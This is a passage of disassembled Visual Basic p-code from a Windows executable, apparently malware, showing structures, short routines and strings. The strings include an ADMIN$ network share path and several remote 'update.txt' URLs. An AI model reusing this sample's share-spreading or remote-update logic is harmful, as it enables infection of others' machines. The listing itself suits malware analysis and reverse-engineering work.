    0040abd4 0e 00 00 00 ....
    0040abd8
    0040abd8 wstring "\\ADMIN$",0
    0040abe8
    0040abe8 3a 00 00 00 :...
    0040abec
    0040abec wstring "apasajalah.host.sk/update.txt",0
    0040ac28
    0040ac28 38 00 00 00 8...
    0040ac2c
    0040ac2c wstring "yosef.netfast.org/update.txt",0
    0040ac66
    0040ac66 00 00 42 00 00 00 ..B...
    0040ac6c
    0040ac6c wstring "friendster.netfast.org/Update.txt",0
    0040acb0
    0040acb0 12 00 00 00 ....
    0040acb4
    0040acb4 wstring "\\untk.com",0
    0040acc8
    0040acc8 06 00 00 00 ....
    0040accc
    0040accc wstring "ver",0
    0040acd4
    0040acd4 04 00 00 00 ....
    0040acd8
    0040acd8 wstring "&h",0
    0040acde
    0040acde 00 00 ..
    0040ace0 0a 00 00 00 ....
    0040ace4
    0040ace4 wstring "open ",0
    0040acf0
    0040acf0 1c 00 00 00 ....
    0040acf4
    0040acf4 wstring " alias mysound",0
    0040ad12
    0040ad12 00 00 18 00 00 00 ......
    0040ad18
    0040ad18 wstring "play mySound",0
    0040ad32
    0040ad32 00 00 ..
    0040ad34 struct VBParamNameEntry[9] ; 0x40ad34-0x40ad58, 2 set, 7 null
    0040ad50 #7 lpEntry = 0x0040b208 ; "buffer"
    0040ad54 #8 lpEntry = 0x0040b210 ; "namafile"
    0040ad58
    0040ad58 00 00 00 00 00 00 00 00 ........
    0040ad60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    0040ad70 00 00 00 00 00 00 00 00 ........
    0040ad78
    0040ad78 struct FuncTypDesc
    0040ad78 bArgSize uint8 0x04
    0040ad79 bFlags uint8 0x01 ; HasReturn
    0040ad7a wVTableOffset uint16 0x0719
    0040ad7c iObjectIndex uint16 0xffff
    0040ad7e wReserved uint16 0x0000
    0040ad80 lpOptionalDefaults uint32 0x00000000
    0040ad84 wNameIndex uint16 0x000b
    0040ad86 bReturnType uint8 0x03
    0040ad87 bFuncFlags uint8 0x60
    0040ad88 lpParamNames uint32 0x40ad34
    0040ad8c
    0040ad8c 00 00 00 00 ....
    0040ad90 00 00 00 00 00 00 00 00 1e 2f 00 00 ........./..
    0040ad9c
    0040ad9c struct FuncTypDesc
    0040ad9c bArgSize uint8 0x04
    0040ad9d bFlags uint8 0x01 ; HasReturn
    0040ad9e wVTableOffset uint16 0x070d
    0040ada0 iObjectIndex uint16 0xffff
    0040ada2 wReserved uint16 0x0000
    0040ada4 lpOptionalDefaults uint32 0x00000000
    0040ada8 wNameIndex uint16 0x0006
    0040adaa bReturnType uint8 0x03
    0040adab bFuncFlags uint8 0x60
    0040adac lpParamNames uint32 0x40ad48
    0040adb0
    0040adb0 00 00 00 00 00 00 00 00 00 00 00 00 1e 2f 00 00 ............./..
    0040adc0
    0040adc0 struct FuncTypDesc
    0040adc0 bArgSize uint8 0x00
    0040adc1 bFlags uint8 0x00
    0040adc2 wVTableOffset uint16 0x06fd
    0040adc4 iObjectIndex uint16 0xffff
    0040adc6 wReserved uint16 0x0000
    0040adc8 lpOptionalDefaults uint32 0x00000000
    0040adcc wNameIndex uint16 0x0002
    0040adce bReturnType uint8 0x03
    0040adcf bFuncFlags uint8 0x60
    0040add0 lpParamNames uint32 0x0040ad34
    0040add4
    0040add4 00 00 00 00 00 00 00 00 00 00 00 00 ............
    0040ade0 1e 00 00 00 ....
    0040ade4
    0040ade4 struct FuncTypDesc
    0040ade4 bArgSize uint8 0x00
    0040ade5 bFlags uint8 0x00
    0040ade6 wVTableOffset uint16 0x0701
    0040ade8 iObjectIndex uint16 0xffff
    0040adea wReserved uint16 0x0000
    0040adec lpOptionalDefaults uint32 0x00000000
    0040adf0 wNameIndex uint16 0x0003
    0040adf2 bReturnType uint8 0x03
    0040adf3 bFuncFlags uint8 0x60
    0040adf4 lpParamNames uint32 0x0040ad34
    0040adf8
    0040adf8 00 00 00 00 00 00 00 00 ........
    0040ae00 00 00 00 00 1e 00 00 00 ........
    0040ae08
    0040ae08 struct FuncTypDesc
    0040ae08 bArgSize uint8 0x00
    0040ae09 bFlags uint8 0x00
    0040ae0a wVTableOffset uint16 0x0729
    0040ae0c iObjectIndex uint16 0xffff
    0040ae0e wReserved uint16 0x0000
    0040ae10 lpOptionalDefaults uint32 0x00000000
    0040ae14 wNameIndex uint16 0x0012
    0040ae16 bReturnType uint8 0x03
    0040ae17 bFuncFlags uint8 0x60
    0040ae18 lpParamNames uint32 0x0040ad34
    0040ae1c
    0040ae1c 00 00 00 00 ....
    0040ae20 00 00 00 00 00 00 00 00 1e 00 00 00 ............
    0040ae2c
    0040ae2c struct FuncTypDesc
    0040ae2c bArgSize uint8 0x04
    0040ae2d bFlags uint8 0x01 ; HasReturn
    0040ae2e wVTableOffset uint16 0x0725
    0040ae30 iObjectIndex uint16 0xffff
    0040ae32 wReserved uint16 0x0000
    0040ae34 lpOptionalDefaults uint32 0x00000000
    0040ae38 wNameIndex uint16 0x0011
    0040ae3a bReturnType uint8 0x03
    0040ae3b bFuncFlags uint8 0x60
    0040ae3c lpParamNames uint32 0x40ad4c
    0040ae40
    0040ae40 00 00 00 00 00 00 00 00 00 00 00 00 1e 2f 00 00 ............./..
    0040ae50
    0040ae50 struct FuncTypDesc
    0040ae50 bArgSize uint8 0x04
    0040ae51 bFlags uint8 0x01 ; HasReturn
    0040ae52 wVTableOffset uint16 0x0711
    0040ae54 iObjectIndex uint16 0xffff
    0040ae56 wReserved uint16 0x0000
    0040ae58 lpOptionalDefaults uint32 0x00000000
    0040ae5c wNameIndex uint16 0x0007
    0040ae5e bReturnType uint8 0x03
    0040ae5f bFuncFlags uint8 0x60
    0040ae60 lpParamNames uint32 0x40ad40
    0040ae64
    0040ae64 00 00 00 00 00 00 00 00 00 00 00 00 ............
    0040ae70 1e 2f 00 00 ./..
    0040ae74
    0040ae74 struct FuncTypDesc
    0040ae74 bArgSize uint8 0x00
    0040ae75 bFlags uint8 0x00
    0040ae76 wVTableOffset uint16 0x06f9
    0040ae78 iObjectIndex uint16 0xffff
    0040ae7a wReserved uint16 0x0000
    0040ae7c lpOptionalDefaults uint32 0x00000000
    0040ae80 wNameIndex uint16 0x0001
    0040ae82 bReturnType uint8 0x03
    0040ae83 bFuncFlags uint8 0x60
    0040ae84 lpParamNames uint32 0x0040ad34
    0040ae88
    0040ae88 00 00 00 00 00 00 00 00 ........
    0040ae90 00 00 00 00 1e 00 00 00 ........
    0040ae98
    0040ae98 struct FuncTypDesc
    0040ae98 bArgSize uint8 0x04
    0040ae99 bFlags uint8 0x01 ; HasReturn
    0040ae9a wVTableOffset uint16 0x071d
    0040ae9c iObjectIndex uint16 0xffff
    0040ae9e wReserved uint16 0x0000
    0040aea0 lpOptionalDefaults uint32 0x00000000
    0040aea4 wNameIndex uint16 0x000f
    0040aea6 bReturnType uint8 0x03
    0040aea7 bFuncFlags uint8 0x60
    0040aea8 lpParamNames uint32 0x40ad3c
    0040aeac
    0040aeac 00 00 00 00 ....
    0040aeb0 00 00 00 00 00 00 00 00 1e 2f 00 00 ........./..
    0040aebc
    0040aebc struct FuncTypDesc
    0040aebc bArgSize uint8 0x00
    0040aebd bFlags uint8 0x00
    0040aebe wVTableOffset uint16 0x0715
    0040aec0 iObjectIndex uint16 0xffff
    0040aec2 wReserved uint16 0x0000
    0040aec4 lpOptionalDefaults uint32 0x00000000
    0040aec8 wNameIndex uint16 0x000a
    0040aeca bReturnType uint8 0x03
    0040aecb bFuncFlags uint8 0x60
    0040aecc lpParamNames uint32 0x0040ad34
    0040aed0
    0040aed0 00 00 00 00 00 00 00 00 00 00 00 00 1e 00 00 00 ................
    0040aee0
    0040aee0 struct FuncTypDesc
    0040aee0 bArgSize uint8 0x04
    0040aee1 bFlags uint8 0x01 ; HasReturn
    0040aee2 wVTableOffset uint16 0x0705
    0040aee4 iObjectIndex uint16 0xffff
    0040aee6 wReserved uint16 0x0000
    0040aee8 lpOptionalDefaults uint32 0x00000000
    0040aeec wNameIndex uint16 0x0004
    0040aeee bReturnType uint8 0x03
    0040aeef bFuncFlags uint8 0x60
    0040aef0 lpParamNames uint32 0x40ad44
    0040aef4
    0040aef4 00 00 00 00 00 00 00 00 00 00 00 00 ............
    0040af00 1e 2f 00 00 ./..
    0040af04
    0040af04 struct FuncTypDesc
    0040af04 bArgSize uint8 0x04
    0040af05 bFlags uint8 0x01 ; HasReturn
    0040af06 wVTableOffset uint16 0x0709
    0040af08 iObjectIndex uint16 0xffff
    0040af0a wReserved uint16 0x0000
    0040af0c lpOptionalDefaults uint32 0x00000000
    0040af10 wNameIndex uint16 0x0005
    0040af12 bReturnType uint8 0x03
    0040af13 bFuncFlags uint8 0x60
    0040af14 lpParamNames uint32 0x40ad38
    0040af18
    0040af18 00 00 00 00 00 00 00 00 ........
    0040af20 00 00 00 00 1e 2f 00 00 ...../..
    0040af28
    0040af28 struct FuncTypDesc
    0040af28 bArgSize uint8 0x08
    0040af29 bFlags uint8 0x00
    0040af2a wVTableOffset uint16 0x0721
    0040af2c iObjectIndex uint16 0xffff
    0040af2e wReserved uint16 0x0000
    0040af30 lpOptionalDefaults uint32 0x00000000
    0040af34 wNameIndex uint16 0x0010
    0040af36 bReturnType uint8 0x03
    0040af37 bFuncFlags uint8 0x60
    0040af38 lpParamNames uint32 0x40ad50
    0040af3c
    0040af3c 00 00 00 00 ....
    0040af40 00 00 00 00 00 00 00 00 1e 65 00 00 30 00 00 00 .........e..0...
    0040af50
    0040af50fn_40af50:
    0040af50ILdRf arg_C
    0040af53FStR4 65400
    0040af56ExitProc
    0040af50
    0040af57
    0040af57 struct PCodePad
    0040af57 fe .
    0040af58
    0040af58 struct ProcDscInfo
    0040af58 lpObjectInfo uint32 0x403c44
    0040af5c wArgSize int 8
    0040af5e wFrameSize int 4
    0040af60 wPCodeBackOffset uint16 0x40af50
    0040af62 wTotalSize uint16 0x0024
    0040af64 wProcOptFlags uint16 0x0000
    0040af66 wReserved uint16 0x0000
    0040af68 wBosSkipTableOff uint16 0x0000
    0040af6a wBaseIfaceSlot uint16 0x0013
    0040af6c wReserved2 uint16 0x0000
    0040af6e wReserved3 uint16 0x0000
    0040af70
    0040af70 0c 00 00 00 00 00 00 00 00 00 00 00 0c 00 00 00 ................
    0040af80 00 00 00 00 00 00 00 00 ........
    0040af88
    0040af88 struct VBObjectListEntry
    0040af88 lpEntry uint32 0xffffffff
    0040af8c
    0040af8c struct VBObjectListEntry
    0040af8c lpEntry uint32 0xffffffff
    0040af90
    0040af90 struct VBObjectListEntry
    0040af90 lpEntry uint32 0xffffffff
    0040af94
    0040af94 struct VBObjectListEntry
    0040af94 lpEntry uint32 0xffffffff
    0040af98
    0040af98 struct VBObjectListEntry
    0040af98 lpEntry uint32 0x40b004
    0040af9c
    0040af9c struct VBObjectListEntry
    0040af9c lpEntry uint32 0xffffffff
    0040afa0
    0040afa0 struct VBObjectListEntry
    0040afa0 lpEntry uint32 0xffffffff
    0040afa4
    0040afa4 struct VBObjectListEntry
    0040afa4 lpEntry uint32 0xffffffff
    0040afa8
    0040afa8 struct VBObjectListEntry
    0040afa8 lpEntry uint32 0x02d2bc24
    0040afac
    0040afac struct VBObjectListEntry
    0040afac lpEntry uint32 0xffffffff
    0040afb0
    0040afb0 struct VBObjectListEntry
    0040afb0 lpEntry uint32 0xffffffff
    0040afb4
    0040afb4 struct VBObjectListEntry
    0040afb4 lpEntry uint32 0xffffffff
    0040afb8
    0040afb8 struct VBObjectListEntry
    0040afb8 lpEntry uint32 0xffffffff
    0040afbc
    0040afbc struct VBObjectListEntry
    0040afbc lpEntry uint32 0xffffffff
    0040afc0
    0040afc0 struct VBObjectListEntry
    0040afc0 lpEntry uint32 0xffffffff
    0040afc4
    0040afc4fn_40afc4:
    0040afc4ILdRf arg_C
    0040afc7LitI4 255
    0040afccAndI4
    0040afcdCI2I4
    0040afceFStI2 -134
    0040afd1ExitProcI2
    0040afc4
    0040afd2
    0040afd2 struct PCodePad
    0040afd2 00 00 ..
    0040afd4
    0040afd4 struct ProcDscInfo
    0040afd4 lpObjectInfo uint32 0x404b14
    0040afd8 wArgSize int 8
    0040afda wFrameSize int 4
    0040afdc wPCodeBackOffset uint16 0x40afc4
    0040afde wTotalSize uint16 0x0024
    0040afe0 wProcOptFlags uint16 0x0000
    0040afe2 wReserved uint16 0x0000
    0040afe4 wBosSkipTableOff uint16 0x0000
    0040afe6 wBaseIfaceSlot uint16 0x0013
    0040afe8 wReserved2 uint16 0x0000
    0040afea wReserved3 uint16 0x0000
    0040afec
    0040afec 0c 00 00 00 ....
    0040aff0 00 00 00 00 00 00 00 00 0c 00 00 00 00 00 00 00 ................
    0040b000 00 00 00 00 ....
    0040b004
    0040b004 struct PrivateObjectDescriptor
    0040b004 lpHeapLink uint32 0x00000000
    0040b008 lpObjectInfo uint32 0x405168
    0040b00c dwReserved uint32 0xffffffff
    0040b010 dwIdeData uint32 0x00000000
    0040b014 wFuncCount int 8
    0040b016 wFuncCount2 int 0
    0040b018 wVarCount int 0
    0040b01a wPad uint16 0x0000
    0040b01c lpFuncTypDescs uint32 0x40b168
    0040b020 lpExtendedFuncData uint32 0x00000000
    0040b024 lpMethodNameTable uint32 0x40ad58
    0040b028 lpParamNames uint32 0x40ad34
    0040b02c lpVarStubs uint32 0x40ad34
    0040b030 dwReserved2 [3]uint32 {0, 0, 0}
    0040b03c dwDescSize uint32 0x00000080
    0040b040 dwFlags uint32 0x00000004
    0040b044
    0040b044fn_40b044:
    0040b044ILdRf arg_C
    0040b047LitI4 256
    0040b04cIDvI4
    0040b04dLitI4 255
    0040b052AndI4
    0040b053CI2I4
    0040b054FStI2 -134
    0040b057ExitProcI2
    0040b044
    0040b058
    0040b058 struct ProcDscInfo
    0040b058 lpObjectInfo uint32 0x404b14
    0040b05c wArgSize int 8
    0040b05e wFrameSize int 4
    0040b060 wPCodeBackOffset uint16 0x40b044
    0040b062 wTotalSize uint16 0x0024
    0040b064 wProcOptFlags uint16 0x0000
    0040b066 wReserved uint16 0x0000
    0040b068 wBosSkipTableOff uint16 0x0000
    0040b06a wBaseIfaceSlot uint16 0x0013
    0040b06c wReserved2 uint16 0x0000
    0040b06e wReserved3 uint16 0x0000
    0040b070
    0040b070 0c 00 00 00 00 00 00 00 00 00 00 00 0c 00 00 00 ................
    0040b080 00 00 00 00 00 00 00 00 ........
    0040b088
    0040b088fn_40b088:
    0040b088LitI2_Byte 0
    0040b08aLitI2_Byte 1
    0040b08cLitI2_Byte 2
    0040b08eImpAdCallI2 fn_407224, 12
    0040b093FStR4 65396
    0040b096SetLastSystemError
    0040b097ILdRf var_8C
    0040b09aCI2I4
    0040b09bFStI2 -134
    0040b09eExitProcI2
    0040b088
    0040b09f
    0040b09f struct PCodePad
    0040b09f 02 .
    0040b0a0
    0040b0a0 struct ProcDscInfo
    0040b0a0 lpObjectInfo uint32 0x404b14
    0040b0a4 wArgSize int 4
    0040b0a6 wFrameSize int 8
    0040b0a8 wPCodeBackOffset uint16 0x40b088
    0040b0aa wTotalSize uint16 0x0024
    0040b0ac wProcOptFlags uint16 0x0000
    0040b0ae wReserved uint16 0x0000
    0040b0b0 wBosSkipTableOff uint16 0x0000
    0040b0b2 wBaseIfaceSlot uint16 0x0013
    0040b0b4 wReserved2 uint16 0x0000
    0040b0b6 wReserved3 uint16 0x0000
    0040b0b8
    0040b0b8 0c 00 00 00 00 00 00 00 ........
    0040b0c0 00 00 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 ................
    0040b0d0
    0040b0d0FrmMain.taroocx:
    0040b0d0ILdI4 arg_10
    0040b0d3LitI2_Byte 1
    0040b0d5LitI2_Byte -1
    0040b0d7OpenFile 32
    0040b0dbLitI2_Byte 1
    0040b0ddILdRf arg_C
    0040b0e0PutRecOwn3 212
    0040b0e4LitI2_Byte 1
    0040b0e6Close
    0040b0e8ExitProcHresult
    0040b0d0
    0040b0e9
    0040b0e9 struct PCodePad
    0040b0e9 e1 d5 02 ...
    0040b0ec
    0040b0ec struct ProcDscInfo
    0040b0ec lpObjectInfo uint32 0x405168
    0040b0f0 wArgSize int 12
    0040b0f2 wFrameSize int 16
    0040b0f4 wPCodeBackOffset uint16 0x40b0d0
    0040b0f6 wTotalSize uint16 0x0024
    0040b0f8 wProcOptFlags uint16 0x0000
    0040b0fa wReserved uint16 0x0000
    0040b0fc wBosSkipTableOff uint16 0x0000
    0040b0fe wBaseIfaceSlot uint16 0x0013
    0040b100 wReserved2 uint16 0x0000
    0040b102 wReserved3 uint16 0x0000
    0040b104
    0040b104 0c 00 00 00 00 00 00 00 00 00 00 00 ............
    0040b110 0c 00 00 00 00 00 00 00 00 00 00 00 ............
    0040b11c
    0040b11cfn_40b11c:
    0040b11cImpAdCallI2 fn_407028, 0
    0040b121FStR4 65396
    0040b124SetLastSystemError
    0040b125ILdRf var_8C
    0040b128FStR4 65400
    0040b12bILdRf var_88
    0040b12eLitI4 0
    0040b133NeI4
    0040b134BranchF 0x40b137
    0040b137
    0040b137loc_40b137:
    0040b137ExitProc
    0040b11c
    0040b138
    0040b138 struct ProcDscInfo
    0040b138 lpObjectInfo uint32 0x404b14
    0040b13c wArgSize int 4
    0040b13e wFrameSize int 8
    0040b140 wPCodeBackOffset uint16 0x40b11c
    0040b142 wTotalSize uint16 0x0024
    0040b144 wProcOptFlags uint16 0x0000
    0040b146 wReserved uint16 0x0000
    0040b148 wBosSkipTableOff uint16 0x0000
    0040b14a wBaseIfaceSlot uint16 0x0013
    0040b14c wReserved2 uint16 0x0000
    0040b14e wReserved3 uint16 0x0000
    0040b150
    0040b150 0c 00 00 00 00 00 00 00 00 00 00 00 0c 00 00 00 ................
    0040b160 00 00 00 00 00 00 00 00 ........
    0040b168 struct VBFuncTypDescEntry[21] ; 0x40b168-0x40b1bc, 13 set, 8 null
    0040b174 #3 lpEntry = 0x0040ae74
    0040b178 #4 lpEntry = 0x0040adc0
    0040b17c #5 lpEntry = 0x0040ade4
    0040b180 #6 lpEntry = 0x0040aee0
    0040b184 #7 lpEntry = 0x0040af04
    0040b188 #8 lpEntry = 0x0040ad9c
    0040b18c #9 lpEntry = 0x0040ae50
    0040b198 #12 lpEntry = 0x0040aebc
    0040b19c #13 lpEntry = 0x0040ad78
    0040b1ac #17 lpEntry = 0x0040ae98
    0040b1b0 #18 lpEntry = 0x0040af28
    0040b1b4 #19 lpEntry = 0x0040ae2c
    0040b1b8 #20 lpEntry = 0x0040ae08
    0040b1bc
    0040b1bc struct ProjectInfo2
    0040b1bc lpHeapLink uint32 0x00000000
    0040b1c0 lpObjectTable uint32 0x405abc
    0040b1c4 dwReserved uint32 0xffffffff
    0040b1c8 dwUnused uint32 0x00000000
    0040b1cc lpObjectList uint32 0x40af88
    0040b1d0 dwUnused2 uint32 0x00000000
    0040b1d4 szProjectDescription uint32 0x00000000
    0040b1d8 szProjectHelpFile uint32 0x00000000
    0040b1dc dwReserved2 uint32 0xffffffff
    0040b1e0 dwHelpContextId int 0
    0040b1e4
    0040b1e4 78 65 40 00 14 65 40 00 ec bf 41 00 xe@..e@...A.
    0040b1f0 78 65 40 00 a8 65 40 00 f0 bf 41 00 78 65 40 00 xe@..e@...A.xe@.
    0040b200 d8 65 40 00 f4 bf 41 00 .e@...A.
    0040b208
    0040b208 string "buffer",0
    0040b20f
    0040b20f 00 .
    0040b210
    0040b210 string "namafile",0
    0040b219
    0040b219 00 00 00 ...
    0040b21c
    0040b21cfn_40b21c:
    0040b21cFLdRfVar var_A4
    0040b21fCI4Var
    0040b221ImpAdCallFPR4 fn_407310, 4
    0040b226SetLastSystemError
    0040b227FMemLdR4 arg_8, 8
    0040b22cImpAdCallFPR4 fn_407310, 4
    0040b231SetLastSystemError
    0040b232FMemLdR4 arg_8, 0
    0040b237ImpAdCallFPR4 fn_407310, 4
    0040b23cSetLastSystemError
    0040b23dImpAdCallFPR4 pool#20, 0
    0040b242ExitProcCb 16
    0040b21c
    0040b246
    0040b246 struct PCodePad
    0040b246 73 76 sv
    0040b248
    0040b248 struct ProcDscInfo
    0040b248 lpObjectInfo uint32 0x404b14
    0040b24c wArgSize int 8
    0040b24e wFrameSize int 32
    0040b250 wPCodeBackOffset uint16 0x40b21c
    0040b252 wTotalSize uint16 0x002c
    0040b254 wProcOptFlags uint16 0x0000
    0040b256 wReserved uint16 0x0000
    0040b258 wBosSkipTableOff uint16 0x0000
    0040b25a wBaseIfaceSlot uint16 0x0013
    0040b25c wReserved2 uint16 0x0000
    0040b25e wReserved3 uint16 0x0000
    0040b260
    0040b260 14 00 00 00 00 00 02 00 00 00 00 01 6c ff 02 00 ............l...
    0040b270 5c ff 02 00 0c 00 00 00 00 00 00 00 00 00 00 00 \...............
    0040b280
    0040b280fn_40b280:
    0040b280FLdRfVar var_98
    0040b283CStrVarVal 65380
    0040b287ImpAdCallI2 rtcUpperCaseBstr, 4
    0040b28cFMemStStr arg_8, 312
    0040b292FFree1Str var_9C
    0040b295LitI2_Byte 0
    0040b297CI4UI1
    0040b298ImpAdLdRf pool#32
    0040b29bImpAdCallFPR4 fn_406038, 8
    0040b2a0SetLastSystemError
    0040b2a1FMemLdR4 arg_8, 316
    0040b2a6FStR4 65400
    0040b2a9ExitProc
    0040b280